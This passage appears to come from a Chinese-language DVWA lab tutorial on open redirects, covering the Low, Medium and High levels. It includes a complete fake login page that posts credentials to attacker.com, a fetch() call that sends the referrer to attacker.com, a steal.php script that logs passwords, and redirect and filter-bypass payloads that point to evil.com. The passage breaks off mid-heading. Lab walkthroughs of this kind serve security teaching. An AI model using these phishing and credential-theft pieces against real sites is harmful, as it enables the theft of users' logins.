class="line"></span><br><span class="line">    <span class="comment">&lt;!-- ★★★ 恶意利用：重定向到外部网站 ★★★ --&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- 攻击者可以构造这样的链接 --&gt;</span></span><br><span class="line">    <span class="comment">&lt;!-- &lt;a href=&quot;?redirect=https://evil.com/phishing&quot;&gt;Click here&lt;/a&gt; --&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p><strong>核心问题：</strong></p><ol><li><strong>无URL验证</strong> - 接受任意URL</li><li><strong>无域名检查</strong> - 不限制目标域名</li><li><strong>无协议检查</strong> - http、https、javascript:都接受</li><li><strong>无白名单</strong> - 没有允许的URL列表</li></ol><p><strong>攻击数据流：</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">用户输入: ?redirect=https:<span class="regexp">//</span>evil.com</span><br><span class="line">    ↓</span><br><span class="line">直接获取: <span class="variable">$redirect</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;redirect&#x27;</span>]</span><br><span class="line">    ↓</span><br><span class="line">直接重定向: header(<span class="string">&quot;Location: $redirect&quot;</span>)</span><br><span class="line">    ↓</span><br><span class="line">浏览器跳转: https:<span class="regexp">//</span>evil.com</span><br></pre></td></tr></table></figure><h3 id="攻击步骤"><a href="#攻击步骤" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><h4 id="步骤1：基础重定向攻击"><a href="#步骤1：基础重定向攻击" class="headerlink" title="步骤1：基础重定向攻击"></a>步骤1：基础重定向攻击</h4><p><strong>测试1：重定向到外部网站</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">URL: ?redirect=https:<span class="regexp">//g</span>oogle.com</span><br><span class="line">结果：成功重定向到Google</span><br><span class="line"></span><br><span class="line">URL: ?redirect=https:<span class="regexp">//</span>evil.com</span><br><span class="line">结果：成功重定向到恶意网站</span><br></pre></td></tr></table></figure><h4 id="步骤2：构造钓鱼攻击"><a href="#步骤2：构造钓鱼攻击" class="headerlink" title="步骤2：构造钓鱼攻击"></a>步骤2：构造钓鱼攻击</h4><p><strong>创建伪造登录页面（evil.com&#x2F;fake-login.html）：</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!DOCTYPE <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>DVWA Login<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">style</span>&gt;</span><span class="language-css"></span></span><br><span class="line"><span class="language-css">        <span class="comment">/* 模仿DVWA的样式 */</span></span></span><br><span class="line"><span class="language-css">        <span class="selector-tag">body</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">font-family</span>: Arial;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background</span>: <span class="number">#f0f0f0</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css">        <span class="selector-class">.login-box</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">width</span>: <span class="number">300px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin</span>: <span class="number">100px</span> auto;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background</span>: white;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">padding</span>: <span class="number">20px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">border-radius</span>: <span class="number">5px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">box-shadow</span>: <span class="number">0</span> <span class="number">0</span> <span class="number">10px</span> <span class="built_in">rgba</span>(<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0.1</span>);</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css">        <span class="selector-tag">h2</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">text-align</span>: center;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">color</span>: <span class="number">#333</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css">        <span class="selector-tag">input</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">width</span>: <span class="number">100%</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">padding</span>: <span class="number">10px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">margin</span>: <span class="number">10px</span> <span class="number">0</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">border</span>: <span class="number">1px</span> solid <span class="number">#ddd</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">border-radius</span>: <span class="number">3px</span>;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css">        <span class="selector-tag">button</span> &#123;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">width</span>: <span class="number">100%</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">padding</span>: <span class="number">10px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">background</span>: <span class="number">#007bff</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">color</span>: white;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">border</span>: none;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">border-radius</span>: <span class="number">3px</span>;</span></span><br><span class="line"><span class="language-css">            <span class="attribute">cursor</span>: pointer;</span></span><br><span class="line"><span class="language-css">        &#125;</span></span><br><span class="line"><span class="language-css">    </span><span class="tag">&lt;/<span class="name">style</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">class</span>=<span class="string">&quot;login-box&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">h2</span>&gt;</span>Session Expired<span class="tag">&lt;/<span class="name">h2</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">p</span>&gt;</span>Please login again:<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"></span><br><span class="line">        <span class="tag">&lt;<span class="name">form</span> <span class="attr">action</span>=<span class="string">&quot;https://attacker.com/steal.php&quot;</span> <span class="attr">method</span>=<span class="string">&quot;POST&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;username&quot;</span> <span class="attr">placeholder</span>=<span class="string">&quot;Username&quot;</span> <span class="attr">required</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;password&quot;</span> <span class="attr">name</span>=<span class="string">&quot;password&quot;</span> <span class="attr">placeholder</span>=<span class="string">&quot;Password&quot;</span> <span class="attr">required</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">button</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span>&gt;</span>Login<span class="tag">&lt;/<span class="name">button</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// 可选：窃取Referer中的信息</span></span></span><br><span class="line"><span class="language-javascript">    <span class="title function_">fetch</span>(<span class="string">&#x27;https://attacker.com/log.php?ref=&#x27;</span> + <span class="built_in">encodeURIComponent</span>(<span class="variable language_">document</span>.<span class="property">referrer</span>));</span></span><br><span class="line"><span class="language-javascript">    </span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p><strong>攻击链接：</strong></p><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="regexp">//</span>dvwa.local<span class="regexp">/vulnerabilities/</span>redirect<span class="regexp">/?redirect=https:/</span><span class="regexp">/evil.com/</span>fake-login.html</span><br><span class="line"></span><br><span class="line">用户点击后：</span><br><span class="line"><span class="number">1</span>. 看到来自dvwa.local的链接（信任）</span><br><span class="line"><span class="number">2</span>. 自动跳转到evil.com</span><br><span class="line"><span class="number">3</span>. 看到伪造的登录页面</span><br><span class="line"><span class="number">4</span>. 输入凭证</span><br><span class="line"><span class="number">5</span>. 凭证被发送到attacker.com/steal.php</span><br></pre></td></tr></table></figure><p><strong>steal.php（窃取凭证）：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="comment">// 记录窃取的凭证</span></span><br><span class="line"><span class="variable">$username</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;username&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="variable">$password</span> = <span class="variable">$_POST</span>[<span class="string">&#x27;password&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="variable">$ip</span> = <span class="variable">$_SERVER</span>[<span class="string">&#x27;REMOTE_ADDR&#x27;</span>];</span><br><span class="line"><span class="variable">$time</span> = <span class="title function_ invoke__">date</span>(<span class="string">&#x27;Y-m-d H:i:s&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable">$log</span> = <span class="string">&quot;<span class="subst">$time</span> - IP: <span class="subst">$ip</span> - User: <span class="subst">$username</span> - Pass: <span class="subst">$password</span>\n&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">file_put_contents</span>(<span class="string">&#x27;stolen_credentials.txt&#x27;</span>, <span class="variable">$log</span>, FILE_APPEND);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 重定向回真实网站（隐蔽）</span></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Location: https://dvwa.local/login.php?error=invalid&quot;</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h4 id="步骤3：使用JavaScript协议"><a href="#步骤3：使用JavaScript协议" class="headerlink" title="步骤3：使用JavaScript协议"></a>步骤3：使用JavaScript协议</h4><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">URL: ?redirect=javascript:<span class="built_in">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><br><span class="line"></span><br><span class="line">某些浏览器可能执行JavaScript（虽然现代浏览器有防护）</span><br></pre></td></tr></table></figure><h4 id="步骤4：绕过简单的协议检查"><a href="#步骤4：绕过简单的协议检查" class="headerlink" title="步骤4：绕过简单的协议检查"></a>步骤4：绕过简单的协议检查</h4><figure class="highlight routeros"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">如果代码只检查http/https：</span><br><span class="line"></span><br><span class="line">?<span class="attribute">redirect</span>=//evil.com</span><br><span class="line">→ 协议相对URL，使用当前协议</span><br><span class="line"></span><br><span class="line">?<span class="attribute">redirect</span>=https:evil.com</span><br><span class="line">→ 某些解析器可能误判</span><br><span class="line"></span><br><span class="line">?<span class="attribute">redirect</span>=HtTpS://evil.com</span><br><span class="line">→ 大小写混淆</span><br></pre></td></tr></table></figure><h4 id="步骤5：结合XSS攻击"><a href="#步骤5：结合XSS攻击" class="headerlink" title="步骤5：结合XSS攻击"></a>步骤5：结合XSS攻击</h4><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 如果重定向参数也被输出到页面 --&gt;</span></span><br><span class="line">?redirect=&quot;&gt;<span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="language-javascript"><span class="title function_">alert</span>(<span class="string">&#x27;XSS&#x27;</span>)</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"></span><br><span class="line">可能导致XSS + 重定向组合攻击</span><br></pre></td></tr></table></figure><hr><h2 id="Medium-难度"><a href="#Medium-难度" class="headerlink" title="Medium 难度"></a>Medium 难度</h2><h3 id="攻击目标-1"><a href="#攻击目标-1" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>简单的域名过滤，但可以绕过。</p><h3 id="后端代码分析-1"><a href="#后端代码分析-1" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;redirect&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$redirect</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;redirect&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 新增：简单的域名检查 ★★★</span></span><br><span class="line">    <span class="comment">// 使用正则表达式检查URL</span></span><br><span class="line">    <span class="comment">// preg_match() - 正则匹配函数</span></span><br><span class="line">    <span class="comment">// 参数1：正则表达式</span></span><br><span class="line">    <span class="comment">// 参数2：要匹配的字符串</span></span><br><span class="line">    <span class="comment">// 返回值：1匹配，0不匹配</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 正则：/http[s]?:\/\/example\.com/i</span></span><br><span class="line">    <span class="comment">// 分解：</span></span><br><span class="line">    <span class="comment">// http[s]? - http或https</span></span><br><span class="line">    <span class="comment">// :\/\/ - ://</span></span><br><span class="line">    <span class="comment">// example\.com - 域名</span></span><br><span class="line">    <span class="comment">// i - 不区分大小写</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 问题：</span></span><br><span class="line">    <span class="comment">// 1. 只检查是否&quot;包含&quot;域名，不是完整匹配</span></span><br><span class="line">    <span class="comment">// 2. evil.com/page?url=http://example.com 会通过</span></span><br><span class="line">    <span class="comment">// 3. http://example.com.evil.com 会通过</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="title function_ invoke__">preg_match</span>( <span class="string">&quot;/http[s]?:\/\/example\.com/i&quot;</span>, <span class="variable">$redirect</span> ) ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 包含example.com，允许重定向</span></span><br><span class="line">        <span class="title function_ invoke__">header</span>( <span class="string">&quot;Location: &quot;</span> . <span class="variable">$redirect</span> );</span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line"></span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 不包含example.com，拒绝</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Invalid redirect URL&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护"><a href="#新增防护" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>正则检查</strong> - 检查URL是否包含合法域名</li><li><strong>协议限制</strong> - 只允许http&#x2F;https</li></ol><h3 id="仍存在的漏洞"><a href="#仍存在的漏洞" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>核心问题：正则表达式使用不当</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 错误的正则：只要包含example.com就通过</span></span><br><span class="line"><span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;/http[s]?:\/\/example\.com/i&quot;</span>, <span class="variable">$url</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 可以绕过的URL：</span></span><br><span class="line"><span class="string">&quot;http://evil.com?fake=http://example.com&quot;</span></span><br><span class="line"><span class="string">&quot;http://example.com.evil.com&quot;</span></span><br><span class="line"><span class="string">&quot;http://evil.com#http://example.com&quot;</span></span><br></pre></td></tr></table></figure><h3 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 id="方法1：域名后缀绕过"><a href="#方法1：域名后缀绕过" class="headerlink" title="方法1：域名后缀绕过"></a>方法1：域名后缀绕过</h4><figure class="highlight vim"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">注册域名：example.<span class="keyword">com</span>.evil.<span class="keyword">com</span></span><br><span class="line"></span><br><span class="line">URL: ?redirect=http://example.<span class="keyword">com</span>.evil.<span class="keyword">com</span></span><br><span class="line"></span><br><span class="line">正则检查：</span><br><span class="line">/http[s]?:\/\/example\.<span class="keyword">com</span>/i 匹配到 <span class="string">&quot;http://example.com&quot;</span></span><br><span class="line">→ 通过检查</span><br><span class="line"></span><br><span class="line">实际重定向：http://example.<span class="keyword">com</span>.evil.<span class="keyword">com</span>（恶意网站）</span><br></pre></td></tr></table></figure><h4 id="方法2：使用-符号"><a href="#方法2：使用-符号" class="headerlink" title="方法2：使用@符号"></a>方法2：使用@符号</h4><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">URL: ?redirect=http:<span class="regexp">//</span>example.com@evil.com</span><br><span class="line"></span><br><span class="line">解析：</span><br><span class="line">正则看到：http:<span class="regexp">//</span>example.com</span><br><span class="line">浏览器解析：http:<span class="regexp">//</span>evil.com (example.com被当作用户名)</span><br><span class="line"></span><br><span class="line">结果：重定向到evil.com</span><br></pre></td></tr></table></figure><h4 id="方法3：URL参数绕过"><a href="#方法3：URL参数绕过" class="headerlink" title="方法3：URL参数绕过"></a>方法3：URL参数绕过</h4><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">URL: ?redirect=http:<span class="regexp">//</span>evil.com?ref=http:<span class="regexp">//</span>example.com</span><br><span class="line"></span><br><span class="line">正则检查：包含<span class="string">&quot;http://example.com&quot;</span> → 通过</span><br><span class="line">实际重定向：http:<span class="regexp">//</span>evil.com</span><br></pre></td></tr></table></figure><h4 id="方法4：Fragment绕过"><a href="#方法4：Fragment绕过" class="headerlink" title="方法4：Fragment绕过"></a>方法4：Fragment绕过</h4><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">URL: ?redirect=http:<span class="regexp">//</span>evil.com<span class="comment">#http://example.com</span></span><br><span class="line"></span><br><span class="line">正则检查：包含<span class="string">&quot;http://example.com&quot;</span> → 通过</span><br><span class="line">实际重定向：http:<span class="regexp">//</span>evil.com（<span class="comment">#后面是fragment，不影响域名）</span></span><br></pre></td></tr></table></figure><h4 id="方法5：URL编码绕过"><a href="#方法5：URL编码绕过" class="headerlink" title="方法5：URL编码绕过"></a>方法5：URL编码绕过</h4><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">URL: ?redirect=http:<span class="regexp">//</span>evil.com%<span class="number">3</span>Furl%<span class="number">3</span>Dhttp:<span class="regexp">//</span>example.com</span><br><span class="line"></span><br><span class="line">解码后：http:<span class="regexp">//</span>evil.com?url=http:<span class="regexp">//</span>example.com</span><br><span class="line">正则检查：通过</span><br><span class="line">实际重定向：evil.com</span><br></pre></td></tr></table></figure><hr><h2 id="High-难度"><a href="#High-难度" class="headerlink" title="High 难度"></a>High 难度</h2><h3 id="攻击目标-2"><a href="#攻击目标-2" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>更严格的域名检查，但仍有绕过可能。</p><h3 id="后端代码分析-2"><a href="#后端代码分析-2" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;redirect&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$redirect</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;redirect&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进：使用parse_url()解析URL ★★★</span></span><br><span class="line">    <span class="comment">// parse_url() - 解析URL，返回各个组成部分</span></span><br><span class="line">    <span class="comment">// 返回数组：</span></span><br><span class="line">    <span class="comment">// [&#x27;scheme&#x27;] =&gt; &#x27;https&#x27;</span></span><br><span class="line">    <span class="comment">// [&#x27;host&#x27;] =&gt; &#x27;example.com&#x27;</span></span><br><span class="line">    <span class="comment">// [&#x27;path&#x27;] =&gt; &#x27;/page&#x27;</span></span><br><span class="line">    <span class="comment">// [&#x27;query&#x27;] =&gt; &#x27;param=value&#x27;</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 这比正则更可靠</span></span><br><span class="line">    <span class="variable">$parsed_url</span> = <span class="title function_ invoke__">parse_url</span>( <span class="variable">$redirect</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 检查是否成功解析 ★★★</span></span><br><span class="line">    <span class="keyword">if</span>( !<span class="variable">$parsed_url</span> ) &#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Invalid URL format&lt;/pre&gt;&quot;</span>;</span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进：检查host字段 ★★★</span></span><br><span class="line">    <span class="comment">// 只允许特定域名</span></span><br><span class="line">    <span class="variable">$allowed_hosts</span> = [</span><br><span class="line">        <span class="string">&#x27;example.com&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;www.example.com&#x27;</span>,</span><br><span class="line">        <span class="string">&#x27;subdomain.example.com&#x27;</span></span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="variable">$host</span> = <span class="variable">$parsed_url</span>[<span class="string">&#x27;host&#x27;</span>] ?? <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 检查host是否在白名单中 ★★★</span></span><br><span class="line">    <span class="comment">// in_array() - 检查数组中是否存在某值</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="title function_ invoke__">in_array</span>( <span class="variable">$host</span>, <span class="variable">$allowed_hosts</span> ) ) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 域名在白名单中，允许重定向</span></span><br><span class="line">        <span class="title function_ invoke__">header</span>( <span class="string">&quot;Location: &quot;</span> . <span class="variable">$redirect</span> );</span><br><span class="line">        <span class="keyword">exit</span>;</span><br><span class="line"></span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// ★★★ 问题：错误信息可能泄露白名单 ★★★</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;&lt;pre&gt;Invalid host: <span class="subst">$host</span>. Allowed: &quot;</span> . <span class="title function_ invoke__">implode</span>(<span class="string">&#x27;, &#x27;</span>, <span class="variable">$allowed_hosts</span>) . <span class="string">&quot;&lt;/pre&gt;&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><h3 id="新增防护-1"><a href="#新增防护-1" class="headerlink" title="新增防护"></a>新增防护</h3><ol><li><strong>parse_url()解析</strong> - 正确解析URL结构</li><li><strong>白名单检查</strong> - 只允许特定域名</li><li><strong>检查host字段</strong> - 验证域名部分</li></ol><h3 id="仍存在的漏洞-1"><a href="#仍存在的漏洞-1" class="headerlink" title="仍存在的漏洞"></a>仍存在的漏洞</h3><p><strong>可能的绕过：</strong></p><ol><li><strong>URL解析差异</strong> - 不同解析器对URL的理解不同</li><li><strong>协议相对URL</strong> - &#x2F;&#x2F;example.com</li><li><strong>端口号绕过</strong> - example.com:80</li><li><strong>IPv6绕过</strong> - [::1]</li></ol><h3 id="绕过方法-1"><a href="#绕过方法-1" class="headerlink" title="绕过方法"></a>绕过方法</h3><h4 